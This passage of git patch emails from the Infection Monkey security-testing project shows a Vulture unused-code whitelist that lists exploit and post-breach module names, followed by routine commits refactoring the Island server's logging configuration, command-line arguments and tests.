really +dead or is kept deliberately. Referencing these in a file like this makes sure that +Vulture doesn't mark these as dead again. +""" + + +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) +set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57) +set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:57) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77) +set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:77) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92) +set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:92) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107) +set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:107) +fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122) +set_os_windows # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:122) +patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:25) +patch_new_user_classes # unused variable (monkey/tests/infection_monkey/utils/test_auto_new_user_factory.py:31) +mock_home_env # unused variable (monkey/tests/monkey_island/cc/server_utils/test_island_logger.py:20) +configure_resources # unused function (monkey/tests/monkey_island/cc/environment/test_environment.py:26) +change_to_mongo_mock # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:9) +uses_database # unused function (monkey/monkey_island/cc/test_common/fixtures/mongomock_fixtures.py:16) +datas # unused variable (monkey/monkey_island/pyinstaller_hooks/hook-stix2.py:9) +test_key # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:20) +pillars # unused variable (monkey/monkey_island/cc/services/zero_trust/zero_trust_report/finding_service.py:21) +CLEAN_UNKNOWN # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:9) +CLEAN_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:10) +CLEAN_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:11) +EXPLOITED_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:12) +EXPLOITED_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:13) +ISLAND_MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:15) +ISLAND_MONKEY_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:16) +ISLAND_MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:17) +ISLAND_MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:18) +ISLAND_MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:19) +ISLAND_MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:20) +MANUAL_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:21) +MANUAL_LINUX_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:22) +MANUAL_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:23) +MANUAL_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:24) +MONKEY_LINUX # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:25) +MONKEY_WINDOWS # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:27) +MONKEY_WINDOWS_RUNNING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:28) +MONKEY_WINDOWS_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:29) +MONKEY_LINUX_STARTING # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:30) +MONKEY_WINDOWS_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:31) +MONKEY_LINUX_OLD # unused variable (monkey/monkey_island/cc/services/utils/node_states.py:32) +_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:19) +_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:22) +_.credential_type # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py:25) +_.password_restored # unused attribute (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/zerologon.py:11) +credential_type # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:18) +password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23) +SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) +SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) +ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) +MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35) +SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) +STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) +WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) +HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) +MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:44) +VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) +DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) +_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) +PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) +internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) +config_error # unused variable (monkey/monkey_island/cc/models/monkey.py:53) +pba_results # unused variable (monkey/monkey_island/cc/models/monkey.py:55) +command_control_channel # unused variable (monkey/monkey_island/cc/models/monkey.py:58) +meta # unused variable (monkey/monkey_island/cc/models/zero_trust/finding.py:37) +meta # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:34) +expire_at # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:36) +meta # unused variable (monkey/monkey_island/cc/models/config.py:11) +meta # unused variable (monkey/monkey_island/cc/models/creds.py:9) +meta # unused variable (monkey/monkey_island/cc/models/edge.py:5) +Config # unused class (monkey/monkey_island/cc/models/config.py:4) +Creds # unused class (monkey/monkey_island/cc/models/creds.py:4) +_.do_CONNECT # unused method (monkey/infection_monkey/transport/http.py:151) +_.do_POST # unused method (monkey/infection_monkey/transport/http.py:122) +_.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) +_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) +_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) +_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) +ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) +HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) +MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) +SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15) +ClearCommandHistory # unused class (monkey/infection_monkey/post_breach/actions/clear_command_history.py:11) +AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/discover_accounts.py:8) +ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11) +Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6) +SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) +AwsCollector # unused class (monkey/infection_monkey/system_info/collectors/aws_collector.py:15) +EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) +HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) +ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18) +_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) +_.representations # unused attribute (monkey/monkey_island/cc/app.py:180) +_.log_message # unused method (monkey/infection_monkey/transport/http.py:188) +_.log_message # unused method (monkey/infection_monkey/transport/http.py:109) +_.version_string # unused method (monkey/infection_monkey/transport/http.py:148) +_.version_string # unused method (monkey/infection_monkey/transport/http.py:27) +_.close_connection # unused attribute (monkey/infection_monkey/transport/http.py:57) +protocol_version # unused variable (monkey/infection_monkey/transport/http.py:24) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4) +hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4) +_.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345) +_.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344) +_.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79) +_.do_exit # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:96) +_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:108) +_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:125) +keytab # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:16) +no_pass # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:18) +ts # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:25) +opnum # unused variable (monkey/infection_monkey/exploit/zerologon.py:466) +structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:467) +structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:478) +_._port # unused attribute (monkey/infection_monkey/exploit/win_ms08_067.py:123) +oid_set # unused variable (monkey/infection_monkey/exploit/tools/wmi_tools.py:96) +export_monkey_telems # unused variable (monkey/infection_monkey/config.py:282) +NoInternetError # unused class (monkey/common/utils/exceptions.py:33) +_.__isabstractmethod__ # unused attribute (monkey/common/utils/code_utils.py:11) +MIMIKATZ # unused variable (monkey/common/utils/attack_utils.py:21) +MIMIKATZ_WINAPI # unused variable (monkey/common/utils/attack_utils.py:25) +DROPPER # unused variable (monkey/common/utils/attack_utils.py:29) +pytest_addoption # unused function (envs/os_compatibility/conftest.py:4) +pytest_addoption # unused function (envs/monkey_zoo/blackbox/conftest.py:4) +pytest_runtest_setup # unused function (envs/monkey_zoo/blackbox/conftest.py:47) +config_value_list # unused variable (envs/monkey_zoo/blackbox/config_templates/smb_pth.py:10) +_.dashboard_name # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:13) +_.checked_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:14) +_.flagged_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:15) +_.rationale # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:17) +_.remediation # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:18) +_.compliance # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:19) +_.references # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:20) +ACM # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:8) +AWSLAMBDA # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:9) +DIRECTCONNECT # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:14) +EFS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:16) +ELASTICACHE # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:17) +EMR # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:20) +KMS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:22) +ROUTE53 # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:25) +SECRETSMANAGER # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:31) +RDS_SNAPSHOT_PUBLIC # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py:17) +dashboard_name # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:18) +checked_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:19) +flagged_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:20) +rationale # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:22) +remediation # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:23) +compliance # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:24) +references # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:25) +ALIBABA # unused variable (monkey/common/cloud/scoutsuite_consts.py:8) +ORACLE # unused variable (monkey/common/cloud/scoutsuite_consts.py:9) +ALIBABA # unused variable (monkey/common/cloud/environment_names.py:10) +IBM # unused variable (monkey/common/cloud/environment_names.py:11) +DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) +_.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13) + + +# these are not needed for it to work, but may be useful extra information to understand what's going on +WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) +WINDOWS_TTL # unused variable (monkey/infection_monkey/network/ping_scanner.py:17) +wlist # unused variable (monkey/infection_monkey/transport/tcp.py:28) +wlist # unused variable (monkey/infection_monkey/transport/http.py:176) +charset # unused variable (monkey/infection_monkey/network/mysqlfinger.py:81) +salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78) +thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61) + + +# leaving this since there's a TODO related to it +_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63) + + +# not 100% sure about these? are these being/will be used somewhere else? +LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) +delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85) +MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6) From 5b75dc524a360aca8559933fc005891734371958 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 6 May 2021 21:39:50 -0400 Subject: [PATCH 0422/1360] zoo: Send password (not hash) to authenticate with Island This step was missed in merge e609094a. --- .../blackbox/island_client/monkey_island_requests.py | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index fcea862e209..f7be1b3cfbd 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -8,10 +8,7 @@ from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' -NO_AUTH_CREDS = ( - "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" - "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557" -) +NO_AUTH_CREDS = "1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()" LOGGER = logging.getLogger(__name__) From 69af8a8662368211bc6f74efb945f6ebf730d0b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 May 2021 08:12:09 -0400 Subject: [PATCH 0423/1360] island: Remove MongoClient() call from BootloaderHttpServer --- monkey/monkey_island/cc/server_utils/bootloader_server.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index fa0b21378e8..d43d9318b6c 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -3,7 +3,6 @@ from socketserver import ThreadingMixIn from urllib import parse -import pymongo import requests import urllib3 @@ -17,7 +16,6 @@ class BootloaderHttpServer(ThreadingMixIn, HTTPServer): def __init__(self, mongo_url): - pymongo.MongoClient(mongo_url) server_address = ("", 5001) super().__init__(server_address, BootloaderHTTPRequestHandler) From 5bcd9176fc48b833d6680e1274c8ec45c04e09c9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 10 May 2021 12:23:50 +0530 Subject: [PATCH 0424/1360] Remove `island_logger_config.json\' --- appimage/island_logger_config.json | 33 ------------------------------ 1 file changed, 33 deletions(-) delete mode 100644 appimage/island_logger_config.json diff --git a/appimage/island_logger_config.json b/appimage/island_logger_config.json deleted file mode 100644 index 4acf875e35e..00000000000 --- a/appimage/island_logger_config.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "version": 1, - "disable_existing_loggers": false, - "formatters": { - "simple": { - "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" - } - }, - "handlers": { - "console": { - "class": "logging.StreamHandler", - "level": "DEBUG", - "formatter": "simple", - "stream": "ext://sys.stdout" - }, - "info_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "INFO", - "formatter": "simple", - "filename": "~/.monkey_island/info.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" - } - }, - "root": { - "level": "DEBUG", - "handlers": [ - "console", - "info_file_handler" - ] - } -} From ab895903891b17ca95c15edd72f9b56a8efc0e99 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 10 May 2021 13:05:06 +0530 Subject: [PATCH 0425/1360] Remove `--logger-config` command-line argument, add "log_level" to server_config.json --- monkey/monkey_island.py | 21 ++++++++++++++++++- monkey/monkey_island/cc/arg_parser.py | 14 ++----------- .../monkey_island/cc/server_utils/consts.py | 2 ++ 3 files changed, 24 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index d32019b6a2c..ca5b2639b2d 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -5,7 +5,11 @@ gevent_monkey.patch_all() import json # noqa: E402 +import os # noqa: E402 +from pathlib import Path # noqa: E402 +import monkey_island.cc.environment.server_config_generator as server_config_generator # noqa: E402 +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL # noqa: E402 from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 if "__main__" == __name__: @@ -14,7 +18,22 @@ # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: - json_setup_logging(island_args.logger_config) + server_config_path = os.path.expanduser(island_args.server_config) + if not Path(server_config_path).is_file(): + server_config_generator.create_default_config_file(server_config_path) + + with open(server_config_path, "r") as f: + config_content = f.read() + data = json.loads(config_content) + data_dir = os.path.abspath( + os.path.expanduser( + os.path.expandvars(data["data_dir"] if "data_dir" in data else DEFAULT_DATA_DIR) + ) + ) + log_level = data["log_level"] if "log_level" in data else DEFAULT_LOG_LEVEL + + # json_setup_logging(data_dir, log_level) + except json.JSONDecodeError as ex: print(f"Error loading logging config: {ex}") exit(1) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 91a2b7d25fd..6e12ef38f36 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,16 +1,12 @@ from dataclasses import dataclass -from monkey_island.cc.server_utils.consts import ( - DEFAULT_LOGGER_CONFIG_PATH, - DEFAULT_SERVER_CONFIG_PATH, -) +from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH @dataclass class IslandArgs: setup_only: bool server_config: str - logger_config: str def parse_cli_args() -> IslandArgs: @@ -34,12 +30,6 @@ def parse_cli_args() -> IslandArgs: help="The path to the server configuration file.", default=DEFAULT_SERVER_CONFIG_PATH, ) - parser.add_argument( - "--logger-config", - action="store", - help="The path to the logging configuration file.", - default=DEFAULT_LOGGER_CONFIG_PATH, - ) args = parser.parse_args() - return IslandArgs(args.setup_only, args.server_config, args.logger_config) + return IslandArgs(args.setup_only, args.server_config) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 67c7209eb21..41bd6e4a74b 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -15,4 +15,6 @@ MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" ) +DEFAULT_LOG_LEVEL = "NOTSET" + DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") From 785f2ef77da311e3893de13ee9a5022a7bd7b60b Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 10 May 2021 13:49:33 +0530 Subject: [PATCH 0426/1360] Replace `json_setup_logging()` with `setup_logging()` to configure logger --- monkey/monkey_island.py | 4 +- .../cc/island_logger_default_config.json | 33 --------- .../monkey_island/cc/server_utils/consts.py | 4 -- .../cc/server_utils/island_logger.py | 67 ++++++++++++------- 4 files changed, 46 insertions(+), 62 deletions(-) delete mode 100644 monkey/monkey_island/cc/island_logger_default_config.json diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index ca5b2639b2d..2d86603f55c 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -10,7 +10,7 @@ import monkey_island.cc.environment.server_config_generator as server_config_generator # noqa: E402 from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL # noqa: E402 -from monkey_island.cc.server_utils.island_logger import json_setup_logging # noqa: E402 +from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 if "__main__" == __name__: island_args = parse_cli_args() @@ -32,7 +32,7 @@ ) log_level = data["log_level"] if "log_level" in data else DEFAULT_LOG_LEVEL - # json_setup_logging(data_dir, log_level) + setup_logging(data_dir, log_level) except json.JSONDecodeError as ex: print(f"Error loading logging config: {ex}") diff --git a/monkey/monkey_island/cc/island_logger_default_config.json b/monkey/monkey_island/cc/island_logger_default_config.json deleted file mode 100644 index 522177cda70..00000000000 --- a/monkey/monkey_island/cc/island_logger_default_config.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "version": 1, - "disable_existing_loggers": false, - "formatters": { - "simple": { - "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" - } - }, - "handlers": { - "console": { - "class": "logging.StreamHandler", - "level": "DEBUG", - "formatter": "simple", - "stream": "ext://sys.stdout" - }, - "info_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "INFO", - "formatter": "simple", - "filename": "info.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" - } - }, - "root": { - "level": "DEBUG", - "handlers": [ - "console", - "info_file_handler" - ] - } -} \ No newline at end of file diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 41bd6e4a74b..afb0d5c89db 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -11,10 +11,6 @@ MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) -DEFAULT_LOGGER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" -) - DEFAULT_LOG_LEVEL = "NOTSET" DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index a32f6505f08..4405db5e17f 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -1,38 +1,59 @@ -import json import logging.config import os +from copy import deepcopy from typing import Dict -from monkey_island.cc.server_utils.consts import DEFAULT_LOGGER_CONFIG_PATH - __author__ = "Maor.Rayzin" -def json_setup_logging( - default_path=DEFAULT_LOGGER_CONFIG_PATH, - default_level=logging.INFO, - env_key="LOG_CFG", +LOGGER_CONFIG_DICT = { + "version": 1, + "disable_existing_loggers": False, + "formatters": { + "simple": { + "format": "%(asctime)s - %(filename)s:%(lineno)s - " + + "%(funcName)10s() - %(levelname)s - %(message)s" + } + }, + "handlers": { + "console": { + "class": "logging.StreamHandler", + "level": "DEBUG", + "formatter": "simple", + "stream": "ext://sys.stdout", + }, + "info_file_handler": { + "class": "logging.handlers.RotatingFileHandler", + "level": "INFO", + "formatter": "simple", + "filename": None, # set in setup_logging() + "maxBytes": 10485760, + "backupCount": 20, + "encoding": "utf8", + }, + }, + "root": {"level": None, "handlers": ["console", "info_file_handler"]}, # set in setup_logging() +} + + +def setup_logging( + data_dir_path, + log_level, ): """ Setup the logging configuration - :param default_path: the default log configuration file path - :param default_level: Default level to log from - :param env_key: SYS ENV key to use for external configuration file path + :param data_dir_path: data directory file path + :param log_level: level to log from :return: """ - path = os.path.expanduser(default_path) - value = os.getenv(env_key, None) - - if value: - path = value - - if os.path.exists(path): - with open(path, "rt") as f: - config = json.load(f) - _expanduser_log_file_paths(config) - logging.config.dictConfig(config) - else: - logging.basicConfig(level=default_level) + + logger_configuration = deepcopy(LOGGER_CONFIG_DICT) + _expanduser_log_file_paths(logger_configuration) + logger_configuration["root"]["level"] = log_level + logger_configuration["handlers"]["info_file_handler"]["filename"] = os.path.join( + data_dir_path, "monkey_island.log" + ) + logging.config.dictConfig(logger_configuration) def _expanduser_log_file_paths(config: Dict): From f84e4aed2c89e97e86cc5eb4668fcd7006ee3e36 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 10 May 2021 14:04:07 +0530 Subject: [PATCH 0427/1360] Set log filename in config before expanding its paths --- monkey/monkey_island/cc/server_utils/island_logger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 4405db5e17f..70a7548108c 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -48,11 +48,11 @@ def setup_logging( """ logger_configuration = deepcopy(LOGGER_CONFIG_DICT) - _expanduser_log_file_paths(logger_configuration) logger_configuration["root"]["level"] = log_level logger_configuration["handlers"]["info_file_handler"]["filename"] = os.path.join( data_dir_path, "monkey_island.log" ) + _expanduser_log_file_paths(logger_configuration) logging.config.dictConfig(logger_configuration) From 6d04e7cbb4951a74fcfa697f138d3d94ca2a9ded Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 10 May 2021 14:52:07 +0530 Subject: [PATCH 0428/1360] Fix unit tests and modify code based on failed tests (tests/monkey_island/cc/server_utils/test_island_logger.py) --- .../cc/server_utils/island_logger.py | 12 +++++++----- .../cc/server_utils/test_island_logger.py | 15 ++++++--------- 2 files changed, 13 insertions(+), 14 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py index 70a7548108c..dd00cb0d737 100644 --- a/monkey/monkey_island/cc/server_utils/island_logger.py +++ b/monkey/monkey_island/cc/server_utils/island_logger.py @@ -36,10 +36,7 @@ } -def setup_logging( - data_dir_path, - log_level, -): +def setup_logging(data_dir_path, log_level): """ Setup the logging configuration :param data_dir_path: data directory file path @@ -48,11 +45,16 @@ def setup_logging( """ logger_configuration = deepcopy(LOGGER_CONFIG_DICT) - logger_configuration["root"]["level"] = log_level + + if not os.path.exists(data_dir_path): + os.makedirs(data_dir_path, mode=0o700, exist_ok=True) + logger_configuration["handlers"]["info_file_handler"]["filename"] = os.path.join( data_dir_path, "monkey_island.log" ) + logger_configuration["root"]["level"] = log_level _expanduser_log_file_paths(logger_configuration) + logging.config.dictConfig(logger_configuration) diff --git a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py index 57f0cc5b02f..3dd7e95703a 100644 --- a/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py +++ b/monkey/tests/monkey_island/cc/server_utils/test_island_logger.py @@ -3,12 +3,7 @@ import pytest -from monkey_island.cc.server_utils.island_logger import json_setup_logging - - -@pytest.fixture() -def test_logger_config_path(resources_dir): - return os.path.join(resources_dir, "logger_config.json") +from monkey_island.cc.server_utils.island_logger import 